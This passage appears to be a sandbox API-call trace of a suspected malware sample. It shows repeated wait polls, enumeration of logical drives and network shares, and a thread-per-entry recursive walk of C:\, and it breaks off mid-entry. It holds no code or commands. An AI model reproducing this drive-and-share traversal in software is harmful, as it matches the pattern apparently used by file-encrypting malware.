WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.326] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.327] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.328] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.329] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.330] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.331] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.332] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.333] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.334] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.335] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.336] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0163.337] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 Thread: id = 1466 os_tid = 0xdc4 [0163.390] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0163.394] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc) returned 0x2f712e8 [0163.394] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x2f712e8 | out: lpBuffer="C:\\") returned 0x4 [0163.394] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8) returned 0x2faeb10 [0163.394] wcscpy (in: _Dest=0x2faeb10, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2faeb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0163.461] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f712e8) returned 1 [0163.461] RtlExitUserThread (Status=0x0) Thread: id = 1467 os_tid = 0xdc8 [0163.391] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x4cbfb50 | out: lphEnum=0x4cbfb50*=0x2f80260) returned 0x0 [0163.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1024) returned 0x2f8bd70 [0163.619] WNetEnumResourceW (in: hEnum=0x2f80260, lpcCount=0x4cbfb54, lpBuffer=0x2f8bd70, lpBufferSize=0x4cbfb5c | out: lpcCount=0x4cbfb54, lpBuffer=0x2f8bd70, lpBufferSize=0x4cbfb5c) returned 0x0 [0163.619] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2f8bd70, lphEnum=0x4cbfb18 | out: lphEnum=0x4cbfb18*=0x2f81cb8) returned 0x0 [0163.622] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1024) returned 0x2f8cda0 [0163.622] WNetEnumResourceW (in: hEnum=0x2f81cb8, lpcCount=0x4cbfb1c, lpBuffer=0x2f8cda0, lpBufferSize=0x4cbfb24 | out: lpcCount=0x4cbfb1c, lpBuffer=0x2f8cda0, lpBufferSize=0x4cbfb24) returned 0x103 [0163.622] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8cda0) returned 1 [0163.622] WNetCloseEnum (hEnum=0x2f81cb8) returned 0x0 [0163.622] WNetOpenEnumW (dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2f8bd90, lphEnum=0x4cbfb18) [0194.015] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2f8bdb0, lphEnum=0x4cbfb18 | out: lphEnum=0x4cbfb18*=0x0) returned 0x4c6 [0194.016] WNetEnumResourceW (in: hEnum=0x2f80260, lpcCount=0x4cbfb54, lpBuffer=0x2f8bd70, lpBufferSize=0x4cbfb5c | out: lpcCount=0x4cbfb54, lpBuffer=0x2f8bd70, lpBufferSize=0x4cbfb5c) returned 0x103 [0194.019] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bd70) returned 1 [0194.019] WNetCloseEnum (hEnum=0x2f80260) returned 0x0 [0194.019] RtlExitUserThread (Status=0x0) Thread: id = 1469 os_tid = 0xdd0 [0163.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc) returned 0x2f6c280 [0163.635] wcscpy (in: _Dest=0x2f6c280, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.635] wcscat (in: _Dest=0x2f6c280, _Source="*" | out: _Dest="C:\\*") returned="C:\\*" [0163.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f8d6f8 [0163.635] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x2f801e0 [0163.635] wcscmp (_String1="$GetCurrent", _String2=".") returned -1 [0163.635] wcscmp (_String1="$GetCurrent", _String2="..") returned -1 [0163.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0163.635] wcscpy (in: _Dest=0x2f8ac20, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.635] wcscat (in: _Dest=0x2f8ac20, _Source="$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent" [0163.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8ac20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0163.656] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0163.656] wcscmp (_String1="$Recycle.Bin", _String2=".") returned -1 [0163.656] wcscmp (_String1="$Recycle.Bin", _String2="..") returned -1 [0163.656] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0163.657] wcscmp (_String1="$WINRE_BACKUP_PARTITION.MARKER", _String2=".") returned -1 [0163.657] wcscmp (_String1="$WINRE_BACKUP_PARTITION.MARKER", _String2="..") returned -1 [0163.657] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2f730b8 [0163.657] wcscpy (in: _Dest=0x2f730b8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.657] wcscat (in: _Dest=0x2f730b8, _Source="$WINRE_BACKUP_PARTITION.MARKER" | out: _Dest="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned="C:\\$WINRE_BACKUP_PARTITION.MARKER" [0163.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f730b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0163.657] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8b3abf74, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b3abf74, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0163.657] wcscmp (_String1="588bce7c90097ed212", _String2=".") returned 1 [0163.657] wcscmp (_String1="588bce7c90097ed212", _String2="..") returned 1 [0163.657] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2e) returned 0x2f6bf20 [0163.657] wcscpy (in: _Dest=0x2f6bf20, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0163.657] wcscat (in: _Dest=0x2f6bf20, _Source="588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0163.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6bf20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350 [0163.658] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f8d6f8 | out: lpFindFileData=0x2f8d6f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, 